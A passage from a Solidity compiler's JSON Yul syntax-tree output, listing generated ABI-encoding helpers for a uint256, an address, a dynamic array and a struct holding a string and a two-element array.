"src": "8578:65:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8652:46:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8663:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "8690:6:1" | |
} | |
], | |
"functionName": { | |
"name": "round_up_to_mul_of_32", | |
"nodeType": "YulIdentifier", | |
"src": "8668:21:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8668:29:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "8659:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "8659:39:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "8652:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_string_memory_ptr_to_t_string_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "8410:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "8417:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "8425:3:1", | |
"type": "" | |
} | |
], | |
"src": "8347:357:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "8782:32:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8793:14:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "8803:4:1", | |
"type": "", | |
"value": "0x02" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "8793:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_length_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "8765:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "8775:6:1", | |
"type": "" | |
} | |
], | |
"src": "8710:104:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "8919:34:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "8929:18:1", | |
"value": { | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "8944:3:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulIdentifier", | |
"src": "8929:11:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_storeLengthForEncoding_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "8891:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "8896:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "updated_pos", | |
"nodeType": "YulTypedName", | |
"src": "8907:11:1", | |
"type": "" | |
} | |
], | |
"src": "8820:133:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "9029:28:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "9039:11:1", | |
"value": { | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "9047:3:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "9039:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_dataslot_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "9016:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "9024:4:1", | |
"type": "" | |
} | |
], | |
"src": "8959:98:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "9136:38:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "9146:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulIdentifier", | |
"src": "9158:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "9163:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "9154:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9154:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "next", | |
"nodeType": "YulIdentifier", | |
"src": "9146:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_nextElement_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "ptr", | |
"nodeType": "YulTypedName", | |
"src": "9123:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "next", | |
"nodeType": "YulTypedName", | |
"src": "9131:4:1", | |
"type": "" | |
} | |
], | |
"src": "9063:111:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "9314:572:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "9324:66:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "9384:5:1" | |
} | |
], | |
"functionName": { | |
"name": "array_length_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "9338:45:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9338:52:1" | |
}, | |
"variables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "9328:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "9399:81:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "9468:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "9473:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_storeLengthForEncoding_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "9406:61:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9406:74:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "9399:3:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "9489:69:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "9552:5:1" | |
} | |
], | |
"functionName": { | |
"name": "array_dataslot_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "9504:47:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9504:54:1" | |
}, | |
"variables": [ | |
{ | |
"name": "baseRef", | |
"nodeType": "YulTypedName", | |
"src": "9493:7:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "9567:21:1", | |
"value": { | |
"name": "baseRef", | |
"nodeType": "YulIdentifier", | |
"src": "9581:7:1" | |
}, | |
"variables": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulTypedName", | |
"src": "9571:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "9657:222:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "9671:34:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulIdentifier", | |
"src": "9698:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "9692:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9692:13:1" | |
}, | |
"variables": [ | |
{ | |
"name": "elementValue0", | |
"nodeType": "YulTypedName", | |
"src": "9675:13:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "9718:70:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "elementValue0", | |
"nodeType": "YulIdentifier", | |
"src": "9769:13:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "9784:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encodeUpdatedPos_t_uint256_to_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "9725:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9725:63:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "9718:3:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "9801:68:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulIdentifier", | |
"src": "9862:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_nextElement_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "9811:50:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9811:58:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "srcPtr", | |
"nodeType": "YulIdentifier", | |
"src": "9801:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "9619:1:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "9622:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "9616:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9616:13:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "9630:18:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "9632:14:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "9641:1:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "9644:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "9637:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "9637:9:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "9632:1:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "9601:14:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "9603:10:1", | |
"value": { | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "9612:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
"variables": [ | |
{ | |
"name": "i", | |
"nodeType": "YulTypedName", | |
"src": "9607:1:1", | |
"type": "" | |
} | |
] | |
} | |
] | |
}, | |
"src": "9597:282:1" | |
} | |
] | |
}, | |
"name": "abi_encode_t_array$_t_uint256_$2_memory_ptr_to_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "9301:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "9308:3:1", | |
"type": "" | |
} | |
], | |
"src": "9212:674:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "10074:528:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "10084:26:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "10100:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "10105:4:1", | |
"type": "", | |
"value": "0x60" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10096:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10096:14:1" | |
}, | |
"variables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "10088:4:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "10120:235:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "10155:43:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "10185:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "10192:4:1", | |
"type": "", | |
"value": "0x00" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10181:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10181:16:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "10175:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10175:23:1" | |
}, | |
"variables": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulTypedName", | |
"src": "10159:12:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "10223:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "10228:4:1", | |
"type": "", | |
"value": "0x00" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10219:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10219:14:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "10239:4:1" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "10245:3:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "10235:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10235:14:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "10212:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10212:38:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "10212:38:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "10263:81:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulIdentifier", | |
"src": "10325:12:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "10339:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_string_memory_ptr_to_t_string_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "10271:53:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10271:73:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "10263:4:1" | |
} | |
] | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulBlock", | |
"src": "10365:210:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "10400:43:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "10430:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "10437:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10426:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10426:16:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "10420:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10420:23:1" | |
}, | |
"variables": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulTypedName", | |
"src": "10404:12:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "memberValue0", | |
"nodeType": "YulIdentifier", | |
"src": "10536:12:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "10554:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "10559:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10550:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10550:14:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_array$_t_uint256_$2_memory_ptr_to_t_array$_t_uint256_$2_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "10456:79:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10456:109:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "10456:109:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "10585:11:1", | |
"value": { | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "10592:4:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "10585:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_t_struct$_MyStruct_$8_memory_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "10053:5:1", | |
"type": "" | |
}, | |
{ | |
"name": "pos", | |
"nodeType": "YulTypedName", | |
"src": "10060:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "10069:3:1", | |
"type": "" | |
} | |
], | |
"src": "9954:648:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "10886:569:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "10896:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "10908:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "10919:3:1", | |
"type": "", | |
"value": "128" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10904:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10904:19:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "10896:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "10977:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "10990:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11001:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "10986:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10986:17:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_uint256_to_t_uint256_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "10933:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "10933:71:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "10933:71:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value1", | |
"nodeType": "YulIdentifier", | |
"src": "11058:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "11071:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11082:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "11067:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11067:18:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_address_to_t_address_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "11014:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11014:72:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "11014:72:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "11107:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11118:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "11103:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11103:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "11127:4:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "11133:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "11123:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11123:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "11096:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11096:48:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "11096:48:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "11153:116:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value2", | |
"nodeType": "YulIdentifier", | |
"src": "11255:6:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "11264:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_array$_t_uint256_$dyn_memory_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "11161:93:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11161:108:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "11153:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "11290:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11301:2:1", | |
"type": "", | |
"value": "96" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "11286:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11286:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "11310:4:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "11316:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "11306:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11306:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "11279:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11279:48:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "11279:48:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "11336:112:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value3", | |
"nodeType": "YulIdentifier", | |
"src": "11434:6:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "11443:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_struct$_MyStruct_$8_memory_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "11344:89:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11344:104:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "11336:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__to_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "10834:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value3", | |
"nodeType": "YulTypedName", | |
"src": "10846:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value2", | |
"nodeType": "YulTypedName", | |
"src": "10854:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value1", | |
"nodeType": "YulTypedName", | |
"src": "10862:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "10870:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "10881:4:1", | |
"type": "" | |
} | |
], | |
"src": "10608:847:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "11550:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11567:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "11570:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "11560:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11560:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "11560:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_d0468cefdb41083d2ff66f1e66140f10c9da08cd905521a779422e76a84d11ec", | |
"nodeType": "YulFunctionDefinition", | |
"src": "11461:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "11635:47:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "11658:3:1" | |
}, | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "11663:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "11668:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldatacopy", | |
"nodeType": "YulIdentifier", | |
"src": "11645:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11645:30:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "11645:30:1" | |
} | |
] | |
}, | |
"name": "copy_calldata_to_memory", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "src", | |
"nodeType": "YulTypedName", | |
"src": "11617:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "dst", | |
"nodeType": "YulTypedName", | |
"src": "11622:3:1", | |
"type": "" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "11627:6:1", | |
"type": "" | |
} | |
], | |
"src": "11584:98:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "11850:405:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "11860:93:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "11941:3:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "11946:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "11867:73:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "11867:86:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "pos", | |
"nodeType": "YulIdentifier", | |
"src": "11860:3:1" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "12045:83:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_d0468cefdb41083d2ff66f1e66140f10c9da08cd905521a779422e76a84d11ec", | |
"nodeType": "YulIdentifier", | |
"src": "12047:77:1" | |
}, | |
